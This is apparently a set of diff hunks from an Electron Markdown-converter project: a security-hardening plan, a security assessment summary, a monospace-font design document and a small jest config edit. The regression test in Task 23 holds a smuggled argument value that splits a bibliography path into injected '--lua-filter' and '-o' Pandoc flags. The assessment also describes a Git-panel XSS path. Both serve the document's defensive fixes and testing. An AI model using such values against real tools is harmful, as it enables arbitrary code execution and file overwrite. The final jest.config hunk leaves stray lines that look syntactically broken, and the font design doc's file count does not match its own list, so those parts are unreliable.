 - [ ] **Step 6:** Commit: `git add -A && git commit -m "feat(pdf): add bulk PDF operations (watermark/compress/rotate/etc.) to batch converter"`
 ---
 ## Phase D — Security Remediation
 ### Task 23: Fix Pandoc argument-injection vulnerability (CRITICAL)
 **Files:**
 - Modify: `src/main.js` (every `pandocCmd` string-concatenation site: `performExportWithOptions` ~`2623-2965`, `exportPDFViaWordTemplate`-adjacent function ~`2980-3050`, `runPandocCmd`/`parseCommand` at `231-282`, the import-side builder at `~3501`, and the enhanced-export builder at `~3997-4097`)
 - Modify: `tests/` (new regression test)
 **Verified root cause:** `performExportWithOptions` and its siblings build a shell-style command **string** by concatenating user-influenced values (export dialog fields: `options.template`, `options.metadata` key/values, `options.variables` key/values, `options.bibliography` path, `options.csl` path, `options.geometry`, footer text, CSS file path) wrapped in double quotes, e.g. `` pandocCmd += ` --bibliography="${options.bibliography}"` ``. This string is later tokenized by `parseCommand()` (`main.js:253-282`) — a hand-rolled parser that toggles an `inQuotes` flag on any `"` or `'` character and has **no backslash-escape handling at all**. The `.replace(/"/g, '\\"')` escaping applied to `metadata`/`variables` values therefore does nothing protective: `parseCommand` sees the literal backslash as an ordinary character and the following `"` still toggles quote state exactly as an unescaped quote would. Any field that reaches `parseCommand` un-sanitized (which is most of them — `template`, `bibliography`, `csl`, `geometry`, footer text are never escaped at all) lets an attacker-controlled value containing a `"` character break out of its intended single argument and inject additional argv elements into the `execFile(pandocPath, args, ...)` call at the end of `runPandocCmd`. Because `execFile` (not `exec`) is used, this is **not** a shell-injection (no `;`, `|`, backticks interpreted) — it is **argument injection into pandoc itself**, which is still exploitable: Pandoc supports `--lua-filter=<path>` and `--filter=<path>` (arbitrary Lua/executable code execution), `-o <path>` (arbitrary file overwrite by injecting a second `-o`), and `--resource-path`/`--extract-media` (arbitrary-path writes). A malicious value in any of the un-escaped fields above is enough to reach that severity — no shell metacharacters are even needed, just a `"` followed by a new flag.
 **Fix approach:** Stop building command strings entirely for every one of these call sites. Replace with direct `execFile(pandocPath, argsArray, ...)` calls where `argsArray` is built as a real JS array (`push`, never string interpolation) — this is exactly what `PDFOperations.js`/`GitOperations.js` already do correctly, and what `AudioOperations.js`/`VideoOperations.js`/`ImageOperations.js` do from Phase B. `parseCommand`/`runPandocCmd`'s string-based indirection should be deleted once all call sites are converted — do not leave it in place as unused dead code (would violate the "no forbidden markers/half-finished" standard); if any call site turns out to be legitimately hard to convert in this task, that is a signal that call site needs its own careful sub-step, not a reason to keep the vulnerable helper around "just in case."
 - [ ] **Step 1:** Write a regression test proving the vulnerability exists in the *current* code, in a new file `tests/main/pandoc-arg-safety.test.js`, calling `parseCommand` directly (it will need to be exported from `main.js` for testing, or extracted first — see Step 2) with a crafted value and asserting it does NOT produce an injected extra argument:
 ```javascript
 // This test is written to FAIL against the current parseCommand implementation,
 // proving the vulnerability, then PASS once Step 3+ removes the vulnerable path.
 const { buildPandocArgs } = require('../../src/main/PandocArgs'); // new module created in Step 3
 test('a bibliography path containing a double quote cannot inject extra pandoc flags', () => {
  const malicious = '/tmp/x.bib" --lua-filter=/tmp/evil.lua -o "/tmp/x.bib';
  const args = buildPandocArgs({
    inputFile: '/in.md',
    outputFile: '/out.pdf',
    format: 'pdf',
    options: { bibliography: malicious },
  });
  // The malicious string must appear as exactly ONE argv element (whatever
  // value it ends up as), never split into multiple args, and
  // '--lua-filter=/tmp/evil.lua' must not appear as its own array element.
  expect(args).not.toContain('--lua-filter=/tmp/evil.lua');
  expect(args.filter((a) => a.includes(malicious) || a === malicious).length).toBeLessThanOrEqual(1);
 });
 ```
 - [ ] **Step 2:** Run the test — confirm it fails to even import (module doesn't exist yet) — this is expected; proceed to build the real module.
 - [ ] **Step 3:** Create `src/main/PandocArgs.js` — a pure module exporting `buildPandocArgs({ inputFile, outputFile, format, options })` that returns a plain `string[]` args array (no string concatenation of the whole command — only individual argv elements are ever created via `.push(...)`), reimplementing every option currently handled across the string-building sites (`toc`, `tocDepth`, `numberSections`, `citeproc`, `bibliography`, `csl`, `template`, `metadata` (loop → `push('-M', `${key}=${value}`)` — no manual quote-escaping needed at all, since array elements are passed to `execFile` as literal argv, never re-parsed), `variables` (same pattern with `-V`), `pdfEngine`, `geometry`, monospace font header include, footer text). Read every one of the sites listed in "Files" above in full before writing this, to ensure no option is silently dropped.
 - [ ] **Step 4:** Run the Step 1 test — expect PASS now.
 - [ ] **Step 5:** Replace every call site that currently builds a `pandocCmd` string and calls `runPandocCmd(pandocCmd, ...)` with: build args via `PandocArgs.buildPandocArgs(...)`, then `execFile(getPandocPath(), args, { maxBuffer: 10 * 1024 * 1024 }, callback)` directly — inline this or add a tiny `runPandocArgs(args, callback)` helper next to the deleted `runPandocCmd` to avoid repeating the `execFile` options object at every site.
 - [ ] **Step 6:** Delete `parseCommand` and the old `runPandocCmd` (`main.js:231-282`) once no call site references them (grep to confirm zero remaining references before deleting).
 - [ ] **Step 7:** Manually re-run every export format the app supports (or at minimum: PDF, DOCX, HTML, EPUB, LaTeX — the ones with the most option surface) via the UI, confirming exports still succeed with the new args-array path, including with TOC/metadata/bibliography options actually filled in (not just defaults) to catch any option silently dropped in Step 3.
 - [ ] **Step 8:** `npm run lint && npm test`
 - [ ] **Step 9:** Commit: `git add -A && git commit -m "fix(security): eliminate pandoc argument-injection vector by building execFile args arrays directly"`
 ### Task 24: Formal security-review pass
 **Files:** N/A — process task.
 - [ ] **Step 1:** Invoke the `security-review` skill against the full working tree (post Phase A/B/C/SEC-1 changes) to catch anything beyond what this plan's manual audit already found — particularly re-check the new `AudioOperations`/`VideoOperations`/`ImageOperations` modules and the new file-picker/batch handlers added in Phase B/C for the same class of injection risk (all must use `execFile` with array args — verify none of them slipped into string-building), and check the new plugin `registerExportFormat` hook (Task 17) for arbitrary-code-execution risk if a malicious/compromised plugin could abuse it beyond what a plugin can already do.
 - [ ] **Step 2:** For every finding the skill reports, triage severity and either fix inline (Critical/High) or explicitly log as an accepted/deferred risk with reasoning (Medium/Low) — do not silently drop findings.
 - [ ] **Step 3:** Produce a short written security summary (what was found across both the manual audit and the formal pass, what was fixed, what if anything was deferred and why) and save it to `docs/superpowers/plans/2026-08-23-security-assessment-summary.md`.
 - [ ] **Step 4:** Commit any additional fixes with individual, scoped commit messages (do not batch unrelated security fixes into one commit).
 ---
 ## Phase E — Rebuild Local Release
 ### Task 25: Full verification + local build
 **Files:** N/A — build/verification task.
 - [ ] **Step 1:** `npm run lint` — must pass clean.
 - [ ] **Step 2:** `npm run format:check` — must pass clean (run `npm run format` first if not).
 - [ ] **Step 3:** `npm test` — all suites must pass; confirm the total test count has grown from the 247-test baseline (new tests from Phase B/C tasks should be present).
 - [ ] **Step 4:** `npm run download-tools` (ensures bundled Pandoc/tool binaries are current for the build).
 - [ ] **Step 5:** `npm run build:local` (per `package.json` script — builds Linux + Windows targets; this matches "local release" for this dev machine's platform(s)). If this machine is Linux-only and Windows cross-build tooling (wine, etc.) isn't available, fall back to `npm run build:linux-ci` and note the Windows build was skipped and why.
 - [ ] **Step 6:** Verify the `dist/` output contains the expected artifacts (`.deb`, `.AppImage` at minimum) and that the packaged app launches (`./dist/*.AppImage` or the unpacked `dist/linux-unpacked/markdown-converter` binary) without immediate crash — smoke-test opening a markdown file and exporting to PDF from the packaged build specifically (not `npm start`), since `asarUnpack` behavior for `sharp`/`ffmpeg-static`/fonts only manifests in a packaged build.
 - [ ] **Step 7:** Report the final `dist/` artifact list and versions to the user; do not bump `package.json`'s version number as part of this task unless the user asks — that is a separate release-management decision.
 ---
 ### Task 26: Migrate `File.path` → `webUtils.getPathForFile` (Electron 41 fix) — appended by controller ruling 2026-08-23
 **Origin:** Task 20 review. `File.path` was removed in Electron 32; this app pins `electron ^41.1.1` and has no `webUtils` usage — every renderer file-picker reading `file.path` gets `undefined` at runtime (~15 sites: universal converter, PDF editor pickers, bibliography/CSL pickers, custom template, media merge lists, document-compare File B).
 **Files:**
 - Modify: `src/preload.js` (expose a `getFilePath(file)` helper via `webUtils.getPathForFile`)
 - Modify: `src/renderer.js`, `src/renderer/media-operations-dialog.js`, `src/renderer/document-compare-dialog.js` (migrate all `file.path` reads to the helper)
 **Steps:**
 1. In `src/preload.js`, expose `getFilePath: (file) => webUtils.getPathForFile(file)` on the existing `electronAPI` surface (webUtils is available in the preload/renderer context; it exists precisely to replace File.path). No new IPC channel needed — this is a synchronous in-process call.
 2. Grep-migrate every `file.path` / `files[i].path` read in the three renderer files to `window.electronAPI.getFilePath(file)` (falling back to `file.path` if the helper is absent, to keep jsdom tests runnable — verify which tests mock this surface and update them to mock the helper).
 3. Add a preload test asserting `getFilePath` is exposed (follow tests/preload.test.js conventions).
 4. `npm run lint && npm test`.
 5. Commit: `fix(renderer): migrate File.path reads to webUtils.getPathForFile for Electron 41`
 ---
 ### Task 27: PDF encrypt/decrypt/permissions — replace silent no-op with honest failure — appended by controller ruling 2026-08-23
 **Origin:** Task 22 review (empirically verified). pdf-lib 1.17.1 cannot encrypt: `save({userPassword, ownerPassword, permissions})` silently ignores these options, `PDFDocument.load({password})` is not a LoadOptions field. Current behavior: `pdfEncrypt`/`pdfSetPermissions` write unprotected files and report success; `pdfDecrypt` reports success on non-encrypted inputs (copy no-op) and always fails on genuinely encrypted ones.
 **Files:**
 - Modify: `src/main/PDFOperations.js` (pdfEncrypt, pdfDecrypt, pdfSetPermissions), their renderer call sites if messages surface there, and `src/main/PDFBatchOperations.js` exclusion register comment (already excludes these ops — keep excluded, update the comment to reference this task).
 **Steps:**
 1. Capability-detect once at module load (probe whether the installed pdf-lib honors encryption — e.g. build a tiny in-memory PDFDocument, save with a userPassword, check raw bytes for `/Encrypt`; or simply pin the known limitation with a constant + comment referencing pdf-lib 1.17.1) — prefer the empirical probe so a future library swap re-enables the ops automatically.
 2. When encryption is unsupported: pdfEncrypt/pdfSetPermissions return `{success: false, message: 'Password protection is not available in this build (pdf-lib lacks encryption support).'}`; pdfDecrypt returns an equivalent honest failure. Never write a file. Never report success.
 3. Update the PDF editor dialog so these three controls are disabled with explanatory hint text when unavailable (grep renderer call sites for the encrypt/permissions handlers).
 4. Update tests: existing encrypt/decrypt/permissions tests (they currently pin the broken behavior — rewrite to assert honest failure); keep any genuinely-passing load-with-password tests only if the probe says the library supports them.
 5. `npm run lint && npm test`.
 6. Commit: `fix(pdf): make encrypt/decrypt/permissions fail honestly instead of silent no-op`
 **Out of scope (user decision pending):** swapping pdf-lib for an encryption-capable fork (e.g. @cantoo/pdf-lib) to restore the feature for real — new dependency, needs sign-off.
@@ -0,0 +1,44 @@
 # Security Assessment Summary — MarkdownConverter (master branch)
 **Date:** 2026-08-23 · **Scope:** full branch `6db54a5..HEAD` (feature-audit-and-hardening plan, 27 tasks) · **Method:** manual feature/security audit at plan time + formal review pass (Task 24: three-stage vulnerability scan — identify → false-positive filter at confidence ≥ 8 → inline fix of confirmed High findings)
 ## 1. What the manual audit found (plan Phases A–D)
 | # | Finding | Severity | Resolution |
 |---|---------|----------|------------|
 | SEC-1 | Pandoc invocation built as shell-style string and re-tokenized — argument injection via crafted filenames/options/bibliography paths | **Critical** | Fixed — Task 23 (`d41b7df`): every invocation now `execFile(path, args[])` via pure builder `src/main/PandocArgs.js`; string tokenizer deleted; 21 injection-vector tests + differential exploit-split proof + 23 real-pandoc e2e checks |
 | UX-1..7 | Seven non-working features: PDF menu IPC misrouting, media converter with 16 IPC channels and 0 handlers, dead New-from-Template menu, dead View-menu toggles, Clear-Recent-Files no-op, unreachable font settings, jszip/sharp misplaced in devDependencies | High (functional) | Fixed — Tasks 1–14; media backends (sharp/ffmpeg) implemented execFile-array-first |
 | LAT-1 | `File.path` reads dead on Electron 41 (removed in v32; app pins ^41.1.1) — every renderer file-picker returned `undefined` | High (functional) | Found during Task 20 review; fixed — Task 26 (`32a5755`): `webUtils.getPathForFile` exposed in preload + main-window shim; all ~15 picker sites migrated |
 | LAT-2 | pdf-lib 1.17.1 silently ignores `userPassword`/`ownerPassword`/`permissions` — PDF encrypt/permissions wrote **unprotected** files while reporting success; decrypt was a copy no-op | High (integrity) | Found during Task 22 review; fixed — Task 27 (`78afccc`): empirical capability probe (fail-closed), honest unavailability errors, UI controls disabled with hint. Real encryption requires a library swap (see deferred #D1) |
 ## 2. What the formal pass (Task 24) found
 **Confirmed (confidence 8/10, HIGH) — fixed inline:**
 - **Git sidebar XSS → code execution** (`src/sidebar/git-panel.js`): repo-derived branch names, git-status file names, commit messages/author names, and git stderr rendered into `innerHTML` unescaped in the `nodeIntegration:true` main window, whose CSP permits `'unsafe-inline'` handlers. A malicious repo (attacker-authored commit message or crafted branch name) cloned by the victim executes script with full Node access when the Git panel loads. Fixed — `eafaf6e`: `escapeHtml` (& < > " ') across all 13 sink sites; jsdom tests assert structural inertness (no `img`/`script` elements, no attribute breakout) and that `dataset` reads still return raw names for git operations.
 **Candidate assessed and dropped (with evidence):**
 - PowerShell BurntToast interpolation (`main.js` ~4344): pre-existing at origin/master in identical `execFile`-array form. The dialog path interpolates a `format` chosen from a hardcoded 12-entry list; the `--convert-to <format>` CLI path feeds raw argv into the same string — but argv is trusted local-user input (precedent: CLI flags are trusted), and no shell is involved. Not exploitable. (Evidence note: the "hardcoded list" rationale covers the dialog path only; the drop stands on the argv-trust precedent for the CLI path.)
 **Verified clean (14 areas):** media operation backends and all batch handlers (execFile arrays throughout, no string re-tokenization); plugin system (no escalation beyond the renderer's existing privileges; format metadata reaches main only as native menu labels and save-dialog filters); all new dialog renderers (`textContent`-only for dynamic content); PDFOperations new ops (pdfjs/sharp in-process, no shell); wordTemplateExporter (all `<w:t>` insertions escaped, no zip extraction → no zip-slip); GitOperations (simple-git array args); settings/presets stores (no deep merge → no prototype pollution); PandocArgs completeness (tree-wide grep: zero surviving string-built pandoc invocations); font embedders (fixed family→filename maps); generator windows (no untrusted prefill); print-preview (DOMPurify flow); no `eval`/`new Function`; no variable-URL `shell.openExternal`; no secrets in the diff.
 ## 3. Deferred / accepted risks
 | ID | Risk | Disposition |
 |----|------|-------------|
 | D1 | **Real PDF encryption unavailable** (pdf-lib limitation) — feature now fails honestly rather than lying | Accepted for this release. Restoring it means swapping pdf-lib for an encryption-capable fork (e.g. `@cantoo/pdf-lib`, API-compatible) — **needs explicit sign-off on a new dependency** |
 | D2 | `nodeIntegration:true` + `contextIsolation:false` on mainWindow, pdfWindow, hiddenWindow; main window does not load `preload.js` (inline shim instead) — the IPC whitelist is a live control only on the two generator windows | Accepted legacy risk for this branch; owned by the react-electron migration (contextIsolation + preload-everywhere), tracked separately |
 | D3 | Generator-window preload whitelist is broad (`execute-code`, `read-file`, `write-file`, `delete-file` reachable from isolated windows) | No current content vector into those windows; flag for the migration to narrow per-window APIs |
 | D4 | CSP allows `'unsafe-inline'` / `'unsafe-eval'` (required by marked + Mermaid rendering model) | Accepted; revisit under the migration with a nonce-based CSP |
 | D5 | `outline-panel.js` / `repl-panel.js` / `analytics-panel.js` have local `escapeHtml` helpers that do not escape quotes | Deferred hardening: unsafe only if reused in attribute contexts; no such current use found |
 | D6 | `scripts/download-tools.js` downloads Pandoc/fonts without checksum pinning | Build-time supply-chain hardening; recommended follow-up (pin + verify SHA-256) |
 | D7 | Misc functional edge cases (batch same-folder overwrite, `pdfSplit` non-positive interval loop, rate-limiter dialog stall) | Deferred minors, logged in the plan ledger; none security-relevant |
 ## 4. Verification state
 - Test suite: **49 suites / 512 tests passing**; ESLint and Prettier clean at every task boundary (enforced per-task during execution).
 - All new external-process code paths verified `execFile`-array by independent tree-wide grep (Task 23 review) and re-verified in the formal pass.
 - **Release blocker (human step):** this environment cannot launch the Electron GUI. A human pass in the running app — light + dark themes, file picking in the main dialogs (File B in Document Compare, bibliography/CSL, universal converter, PDF editor), Git sidebar on a real repo — is required before shipping.
 **Bottom line:** the one Critical (argument injection) and one confirmed High (Git panel XSS) are closed with tests; two latent silent-failure bugs (File.path, fake encryption) are fixed; the remaining exposure is the documented legacy trust model (D2–D4) owned by the planned Electron security migration plus one dependency decision (D1).
@@ -0,0 +1,216 @@
 # MarkdownConverter — Monospace Font Embedding Design
 **Date:** 2026-06-30
 **Status:** Approved
 **Author:** Amit Haridas
 ## Overview
 Guarantee proper ASCII character alignment in MarkdownConverter's preview and every supported export format (PDF, DOCX, HTML, plus ODT/RTF/EPUB/LaTeX), with no OS-level font dependency. The user can pick between **JetBrains Mono** (default) and **Fira Code**, and toggle ligatures (default off). Both font families are bundled inside the app, so alignment holds on every supported platform (Windows/macOS/Linux) without an internet connection, without system-wide font installation, and without the user touching anything system-level.
 ## Goals
 1. ASCII art and code-block tables (e.g. `+----+----+` column delimiters) render at identical advance widths in the live preview **and** in every exported file.
 2. No OS font dependency — TTFs ship inside the app.
 3. Per-user choice of monospace family + ligature behaviour.
 4. Self-contained exports: the exported PDF/DOCX/HTML file is portable to another machine and stays aligned.
 ## Non-Goals (v1)
 - No font subsetting of TTFs (we ship the full file; xelatex subsets it into the PDF automatically; DOCX carriers get the full TTF in `word/fonts/`).
 - No support for the user adding a third bundled font family.
 - No PPTX or revealjs/Beamer ligature-toggle (PPTX is a slide format that rarely carries ASCII tables; revealjs/Beamer inherit HTML/LaTeX defaults).
 - No licensed/commercial fonts (Fira Code and JetBrains Mono are both SIL OFL — confirmed in `assets/fonts/JetBrainsMono-LICENSE.txt`).
 ## Decisions Locked
 | Decision | Choice | Reason |
 |---|---|---|
 | Scope | All export formats | All-surfaces alignment |
 | DOCX strategy | Embed TTF into the DOCX zip | Truly portable; alignment holds even when the recipient lacks the font |
 | PDF strategy | Pass TTF path to xelatex via `fontspec` (`\setmonofont[Path=...]`) | xelatex subsets the font into the PDF; reproducible across machines |
 | Font choice | Both bundled; user-pickable in settings | Cover both preferences; default JetBrains Mono |
 | Ligatures | Off by default; user toggle | Ligatures change advance widths and break ASCII grid alignment |
 | License | SIL OFL (both families) | Embedding/bundling explicitly permitted when license travels with the binary (already present at `assets/fonts/JetBrainsMono-LICENSE.txt`) |
 ## Architecture
 ```
 settings.json
    │
    │ (renderer + main read on init)
    ▼
 CSS body classes:  .mono-jetbrains / .mono-fira
                   .mono-ligatures-on / .mono-ligatures-off
 --font-mono-active token
   ▲                                  ▲
   │ IPC                              │ IPC
   │                                  │
 Preview pane              ┌───────────┴──────────┐
 ASCII Generator window    │  Export pipeline     │
 Print-preview iframe      │  (main process)      │
                          │  uses MonospaceFontConfig
                          └──────────────────────┘
                                   │
                                   ▼
                       Bundle: assets/fonts/
                         ├─ JetBrainsMono-Regular.ttf
                         ├─ JetBrainsMono-Bold.ttf
                         ├─ FiraCode-Regular.ttf
                         ├─ FiraCode-Bold.ttf
                         └─ (existing woff2 for renderer)
 ```
 ## New Modules
 | File | Role |
 |---|---|
 | `src/main/MonospaceFontConfig.js` | Single source of truth. Resolves the active monospace family + weight → absolute TTF path, with awareness of dev vs packaged (asar.unpacked) layout. Returns `null` + warns when a file is missing. |
 | `src/main/PdfFontHeader.js` | Builds the xelatex `header.tex` snippet with `\usepackage{fontspec}\setmonofont{...ttf}[Path=...,UprightFont=*-Regular,BoldFont=*-Bold,Ligatures=NoCommon/TeX]`. Also returns the lualatex equivalent. |
 | `src/main/DocxFontEmbedder.js` | Unzips a pandoc-produced DOCX with `jszip`, writes TTFs into `word/fonts/`, patches `[Content_Types].xml`, `_rels/document.xml.rels`, creates `word/fontTable.xml` with `<w:embedRegular/>` referencing the TTF, patches `word/styles.xml` so the `SourceCode`/`VerbatimChar` styles bind to the embedded font name, then rezips. Idempotent. |
 | `src/main/EpubFontEmbedder.js` | Wrapper around pandoc `--epub-embed-font` — verifies the chosen TTF is referenced in `OEBPS/content.opf`; patches the manifest if missing. |
 | `src/main/ExportCss.js` | Returns a self-contained CSS string with `@font-face { src: url(data:font/woff2;base64,...) }` for the chosen family. Used by HTML export `--css` and by print-preview iframe. |
 | `src/main/settings/SettingsUI.Monospace.js` | Two new controls in the in-app settings dialog: monospace font select + ligatures checkbox. Persists to `<userData>/settings.json`. |
 ## Modified Modules
 | File | Change |
 |---|---|
 | `src/fonts.css` | Add `@font-face` entries for Fira Code Regular (400) and Bold (700), pointing to `assets/fonts/FiraCode-*.woff2` (downloaded via the extended `download-tools.js`). |
 | `src/styles/tokens.css` + `src/styles-concreteinfo.css` | Define new tokens `--font-mono-active` (resolves to `"JetBrains Mono"` or `"Fira Code"`) and `--font-mono-feature` (`"liga" 0, "calt" 0, "dlig" 0` for ligatures-off, else `normal`). Body classes flip these. |
 | `src/styles-modern.css` | `.editor-textarea`, `.preview-content code`, `.preview-content pre`, `.codemirror-container .cm-editor` reference `var(--font-mono-active)` and apply `font-feature-settings: var(--font-mono-feature)`. |
 | `src/ascii-generator.html` | Replace `<link href="https://fonts.googleapis.com/...">` with `<link rel="stylesheet" href="../styles/fonts.css">` plus inline `body` class defaulting. The window is plain HTML; the renderer script that opens it sets `body.classList` from settings. |
 | `src/print-preview.js` | Inject `<style>` with embedded woff2 base64 from `ExportCss.js` into the srcdoc iframe HTML; set `pre`/`code` font-family to `var(--font-mono-active)`. |
 | `src/main.js` | Five `--css/-V monofont=Consolas` lines and the export pipelines need surgery (table below). On successful DOCX export, pipeline the output through `DocxFontEmbedder`. On HTML export, pass `--css` referencing a temp file emitted by `ExportCss.js`. On EPUB, pass `--epub-embed-font` for both Regular and Bold. On LaTeX/PDF, pass `--include-in-header` referencing a temp `header.tex` emitted by `PdfFontHeader.js`. The Electron `printToPDF` fallback also consumes `ExportCss.js`. |
 | `src/renderer.js` | On `settings-changed`, toggle `document.body.classList` between `mono-jetbrains` / `mono-fira` and `mono-ligatures-on` / `mono-ligatures-off`. The active class is also written by the bit that initializes Monaco/CodeMirror when the editor is mounted. |
 | `scripts/download-tools.js` | Add `fira-code` task: downloads `FiraCode-Regular.ttf`, `FiraCode-Bold.ttf`, `FiraCode-LICENSE.txt` from the official `tonsky/FiraCode` GitHub release (version-pinned, mirrors how Pandoc is downloaded). |
 | `package.json` | `build.asarUnpack` extended to `"assets/fonts/**"` so xelatex/Pandoc can read TTFs at runtime in packaged builds. No new NPM dependencies — `jszip ^3.10.1` is already present. |
 ## Per-Export Behaviour
 | Format | What changes | Post-processing | Resulting file shape |
 |---|---|---|---|
 | **PDF** (xelatex) | Replace `-V monofont="Consolas"` with `--include-in-header=<tmp>.tex` from `PdfFontHeader` (`\setmonofont{JetBrainsMono-Regular.ttf}[Path=…,Extension=.ttf,UprightFont=*-Regular,BoldFont=*-Bold,Ligatures=NoCommon]`). | none — xelatex subsets the font into the PDF. | Self-contained PDF; code-block columns align across pages. |
 | **PDF** (lualatex fallback) | Same header uses lualatex-compatible fontspec syntax (identical to xelatex in modern LuaTeX). | none | Same as above. |
 | **PDF** (pdflatex final fallback) | Revert to `-V monofont="Consolas"` + warn (Consolas not on all systems; document limitation). | none | Best-effort — relies on pdftex default monospace. |
 | **DOCX** | Existing pandoc invocation. After pandoc writes, hand to `DocxFontEmbedder`. | Embed Regular + Bold TTF into `word/fonts/`; patch `[Content_Types].xml` Default+Override; add `word/_rels` entry for `fontTable.xml.rels`; create `word/fontTable.xml` with `<w:embedRegular/>` for each font weight; patch `word/styles.xml` so `SourceCode` (or whatever style Pandoc wrote under) sets `w:rFonts ascii="JetBrains Mono" hAnsi="JetBrains Mono"`. | ~550 KB larger DOCX; fully portable. |
 | **HTML** (standalone) | Add `--css=<tmp>.css` (built by `ExportCss` with base64 woff2). | none | One self-contained `.html`; aligned anywhere, offline. |
 | **EPUB** | Add `--epub-embed-font=<bundleAbs>/<Family>-Regular.ttf` and same for Bold (Pandoc 2.11+ supports this natively). | `EpubFontEmbedder` patches `OEBPS/content.opf` if the font reference is missing. | Embedded font travels in the EPUB. |
 | **ODT** | `--variable=mainfont="JetBrains Mono"` (or Fira). | Before final write, show a non-blocking confirmation: "ODT embeds the font *name* — recipients must also have it installed to keep alignment. Continue?". | Light; portability caveat explicit to user. |
 | **RTF** | `\fonttbl` directive already injected by pandoc when `mainfont=` is set. | Same ODT confirmation. | Same caveat as ODT. |
 | **LaTeX (`.tex`)** | `--include-in-header=<tmp>.tex` identical to the PDF header. | none | Self-contained `.tex` for downstream compile. |
 | **PPTX** | unchanged | n/a | v1: don't try to enforce. |
 | **RevealJS** | behaves like HTML (uses `ExportCss`). | n/a | self-contained. |
 | **Beamer** | behaves like LaTeX (uses `PdfFontHeader` snippet). | n/a | downstream PDF compile respects font. |
 | **Print preview** | n/a | `ExportCss` injected into srcdoc iframe HTML. | Inside-app preview aligned. |
 | **ASCII Generator window** | Replace Google Fonts CDN link with local `fonts.css`. | n/a | Offline, aligned. |
 ## Path Resolution
 `MonospaceFontConfig` exposes:
 ```js
 exports.getActiveMonoFontPath = function getActiveMonoFontPath(weight = 400)
 exports.getActiveMonoFamily   = function getActiveMonoFamily()
 exports.ligaturesEnabled       = function ligaturesEnabled()
 ```
 - Dev: `<repoRoot>/assets/fonts/<Family>-<Weight>.ttf`
 - Packaged: `<process.resourcesPath>/app.asar.unpacked/assets/fonts/<Family>-<Weight>.ttf`
 - If the file is missing, returns `null` and emits a `console.warn` + a single non-blocking toast: "Using system monospace — bundled font missing".
 ## Settings Schema
 Extended `<userData>/settings.json`:
 ```jsonc
 {
  // ... existing keys ...
  "monospaceFont": "jetbrains-mono",      // "jetbrains-mono" | "fira-code"
  "monospaceLigatures": false             // bool
 }
 ```
 Defaults: `monospaceFont: "jetbrains-mono"`, `monospaceLigatures: false`. Migration: if a settings file exists without these keys, fill with defaults silently on read.
 ## Testing
 **New test files:**
 | File | Asserts |
 |---|---|
 | `tests/monospace-font-config.test.js` | Dev vs packaged path semantics; null-and-warn on missing TTF; settings-driven family selection. |
 | `tests/docx-font-embedder.test.js` | Produces a valid DOCX; `unzip -l` lists `word/fonts/JetBrainsMono-{Regular,Bold}.ttf`; `word/fontTable.xml` contains `<w:embedRegular r:id="…"/>` entries with correct names; `styles.xml` binds the monospace style to `"JetBrains Mono"`; idempotent (running twice doesn't double-embed). |
 | `tests/pdf-font-header.test.js` | Output contains `\setmonofont{JetBrainsMono-Regular.ttf}` with `Path=` matching the resolved absolute path; `Ligatures=NoCommon` when settings say off. |
 | `tests/export-css.test.js` | Output contains a `@font-face` block with `src: url('data:font/woff2;base64,<…>')`; the base64 string decodes to > 50 000 bytes; `pre`/`code`/`kbd` use `var(--font-mono-active)`. |
 | `tests/epub-font-embedder.test.js` | After embedding, `OEBPS/content.opf` references both Regular and Bold TTFs in `<manifest>`. |
 **Integration test (manual, repeatable):**
 1. Create a fixture markdown file with three ASCII grids (boxes, columns, arrows).
 2. Open the file in MarkdownConverter.
 3. Set monospace font = JetBrains Mono, ligatures off.
 4. Export to PDF / DOCX / HTML.
 5. Open each result; confirm the `+---+` column delimiters sit at identical X-positions across all three formats and across pages.
 6. Switch to Fira Code with ligatures on; export again; confirm round-trip works (no crashes) and ligature toggle affects preview.
 ## Error Handling
 | Failure | Behaviour |
 |---|---|
 | Bundled TTF missing | `MonospaceFontConfig` returns `null`; renderer/main falls back to system monospace; non-blocking toast; never a silent drop. |
 | `DocxFontEmbedder` fails (zip corruption, insufficient permissions, missing required OOXML element) | Keep the un-embedded DOCX; show a dialog with the exact failure message and a "Report issue" link. Do **not** claim success. |
 | `PdfFontHeader` can't write temp tex (filesystem permission) | Show an error dialog naming the permission issue; abort the export. |
 | Pandoc `--epub-embed-font` not supported (Pandoc < 2.11) | Detect via `pandoc --version` at startup (cache `pandocAvailable` already exists). Skip embedding; warn user that the EPUB will degrade if their reader lacks the font. |
 | Pandoc `--css` flag missing (Pandoc < 2.0) | Detect via the same version check. Skip the `--css` injection; warn user that the exported HTML is not self-contained for the chosen font. |
 | xelatex fails after fontspec injection | Existing `tryPdfFallback` chain reorders to `lualatex → pdflatex` (Consolas). Already implemented; the reorder is a one-liner. |
 ## Acceptance Criteria
 - [ ] All five rows of `Per-Export Behaviour` produce files where ASCII alignment is identical to the editor.
 - [ ] No new NPM dependencies added (use existing `jszip`, `fontkit`).
 - [ ] `asarUnpack` covers `assets/fonts/**`.
 - [ ] Bundle size increase ≤ 1.5 MB (TTFs + Fira TTF + extra metadata).
 - [ ] No `TODO`/`FIXME`/`HACK` markers in newly touched code.
 - [ ] Preview, ASCII Generator window, print-preview iframe, PDF, DOCX, HTML, EPUB, ODT all use the same active font + ligature setting (single source of truth).
 - [ ] On a clean machine with no JetBrains Mono / Fira Code installed system-wide, every export still produces correct alignment.
 - [ ] Switching between fonts in settings updates preview immediately and is honoured by all subsequent exports in the same session.
 - [ ] Both font files travel with the binary (`LICENSE.txt` present for both families).
 ## File Inventory
 **New (10 files):**
 ```
 src/main/MonospaceFontConfig.js
 src/main/PdfFontHeader.js
 src/main/DocxFontEmbedder.js
 src/main/EpubFontEmbedder.js
 src/main/ExportCss.js
 src/main/settings/SettingsUI.Monospace.js
 tests/monospace-font-config.test.js
 tests/docx-font-embedder.test.js
 tests/pdf-font-header.test.js
 tests/export-css.test.js
 tests/epub-font-embedder.test.js
 assets/fonts/FiraCode-Regular.ttf
 assets/fonts/FiraCode-Bold.ttf
 assets/fonts/FiraCode-LICENSE.txt
 ```
 **Modified:**
 ```
 src/fonts.css
 src/styles/tokens.css
 src/styles-concreteinfo.css
 src/styles-modern.css
 src/ascii-generator.html
 src/print-preview.js
 src/main.js
 src/renderer.js
 scripts/download-tools.js
 package.json
 ```
 (3 added TTF files counted under "New"; OFL `LICENSE.txt` only required when bundling Fira Code.)
@@ -11,10 +11,7 @@ module.exports = {
  rootDir: '.',
  // Test file patterns
-  testMatch: [
+  testMatch: ['**/tests/**/*.test.js', '**/tests/**/*.spec.js'],
    '**/tests/**/*.test.js',
    '**/tests/**/*.spec.js'
  ],
  // Coverage configuration
  collectCoverageFrom: [
